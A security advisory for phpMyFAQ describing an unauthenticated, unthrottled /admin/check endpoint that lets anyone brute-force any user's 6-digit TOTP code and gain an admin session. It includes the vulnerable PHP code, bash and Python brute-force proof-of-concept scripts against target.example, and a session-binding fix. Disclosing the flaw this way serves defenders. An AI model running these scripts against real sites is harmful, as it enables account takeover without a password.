PT-2026-41487 · Packagist · Phpmyfaq/Phpmyfaq+1

Published

2026-05-06

·

Updated

2026-05-06

CVSS v3.1

9.1

Critical

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

The /admin/check endpoint in AuthenticationController implements SkipsAuthenticationCheck, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary user-id and token values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated POST /admin/check with a user-id body field returns HTTP 302 to /admin/token?user-id=<value>, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php, lines 35-36 and 201-228.
The controller class declaration:
php
final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck
The SkipsAuthenticationCheck interface (phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php) is a marker interface that tells the ControllerContainerListener to skip authentication enforcement. Every route in this controller is reachable without a session.
The check action (line 201-228):
php
#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
  if ($this->currentUser->isLoggedIn()) {
    return new RedirectResponse(url: './');
  }

  $token = Filter::filterVar($request->request->get(key: 'token'), FILTER SANITIZE SPECIAL CHARS);
  $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER VALIDATE INT);

  $user = $this->currentUserService;
  $user->getUserById($userId);

  if (strlen((string) $token) === 6) {
    $tfa = $this->twoFactor;
    $result = $tfa->validateToken($token, $userId);

    if ($result) {
      $user->twoFactorSuccess();
      $this->adminLog->log($user, AdminLogType::AUTH 2FA SUCCESS->value . ':' . $user->getLogin());
      return new RedirectResponse(url: './');
    }

    $this->adminLog->log($user, AdminLogType::AUTH 2FA FAILED->value . ':' . $user->getLogin());
  }

  return new RedirectResponse('./token?user-id=' . $userId);
}
Problems:
  1. No session binding: The endpoint accepts user-id from the POST body. It does not verify that the caller previously authenticated with a password for that user.
  2. No rate limit or lockout: Failed attempts redirect back to the token form with no counter, delay, or account lock.
  3. Unauthenticated access: The SkipsAuthenticationCheck marker exempts the entire controller from auth enforcement.
The normal login flow (/admin/authenticate) redirects to /admin/token?user-id=X after a valid password. But nothing prevents Bob from skipping the password step and hitting /admin/check directly.

Proof of Concept

bash
# Step 1: Identify target user ID (admin is typically user id=1)
TARGET HOST="http://target.example"
USER ID=1

# Step 2: Brute-force the 6-digit TOTP code
# TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window.
# At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.

for code in $(seq -w 000000 999999); do
 RESPONSE=$(curl -s -o /dev/null -w "%{http code}:%{redirect url}" 
  -X POST "${TARGET HOST}/admin/check" 
  -d "token=${code}&user-id=${USER ID}")

 # A successful 2FA grants a session and redirects to ./
 # A failure redirects to ./token?user-id=1
 if echo "$RESPONSE" | grep -qv "token?user-id="; then
  echo "[+] Valid TOTP: ${code}"
  break
 fi
done
python
# Faster parallel version
import requests
from concurrent.futures import ThreadPoolExecutor

TARGET = "http://target.example/admin/check"
USER ID = 1

def try code(code):
  r = requests.post(TARGET, data={"token": f"{code:06d}", "user-id": USER ID}, allow redirects=False)
  location = r.headers.get("Location", "")
  if "token?user-id=" not in location:
    return code
  return None

with ThreadPoolExecutor(max workers=50) as pool:
  for result in pool.map(try code, range(1000000)):
    if result is not None:
      print(f"[+] Valid TOTP: {result:06d}")
      break

Impact

Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, twoFactorSuccess() grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (High, 9.1) CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts)

Recommended Fix

  1. Bind the 2FA step to a password-verified session: Store a flag in the server-side session during authenticate() indicating the user passed password auth. The check action must verify this flag before accepting TOTP attempts.
  2. Add rate limiting / lockout: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.
  3. Narrow the SkipsAuthenticationCheck scope: Move the /check and /token routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.
Example session-binding fix in check():
php
#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
  $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER VALIDATE INT);

  // Require that the session proves password auth for this specific user
  if ($this->session->get('2fa pending user id') !== $userId) {
    return new RedirectResponse(url: './login');
  }

  // ... existing TOTP validation ...
}
And in authenticate(), after successful password check:
php
$this->session->set('2fa pending user id', $this->currentUser->getUserId());

Found by aisafe.io

Fix

Improper Restriction of Excessive Authentication Attempts

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-9PQ7-MFWH-XX2J

Affected Products

Phpmyfaq/Phpmyfaq
Thorsten/Phpmyfaq